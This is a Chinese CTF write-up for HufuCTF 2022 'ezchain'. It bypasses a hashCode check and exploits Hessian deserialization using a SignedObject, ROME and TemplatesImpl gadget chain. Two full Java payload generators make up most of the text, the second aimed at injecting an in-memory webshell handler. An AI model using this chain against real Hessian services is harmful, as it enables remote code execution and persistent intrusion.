[虎符CTF 2022]ezchain
从 docker-compose 中能判断不出网

反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。

hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。

然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;
import org.slf4j.impl.StaticLoggerBinder;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class payload {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
HashMap hashMapx = getObject();
// 构造SignedObject对象
SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
// 构造ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
// 构造HashMap
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"aaaa");
// 反射修改字段
Field obj = EqualsBean.class.getDeclaredField("obj");
Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean), toStringBean);
Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"aaaa");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap;
}
}

可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。

最终能注入的 poc:
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.util.HashMap;
public class payload {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
HashMap hashMapx = getObject();
// 构造SignedObject对象
SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
// 构造ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
// 构造HashMap
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"aaaa");
// 反射修改字段
Field obj = EqualsBean.class.getDeclaredField("obj");
Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean), toStringBean);
Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
//构造TemplatesImpl对象
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("testHandler");
byte[] bytecode=cc.toBytecode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
//构造ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"aaaa");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap;
}
}